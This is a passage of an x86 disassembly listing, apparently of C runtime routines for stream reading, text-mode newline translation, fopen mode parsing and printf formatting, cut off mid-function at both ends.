					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 26709FBh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 26709FBh
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
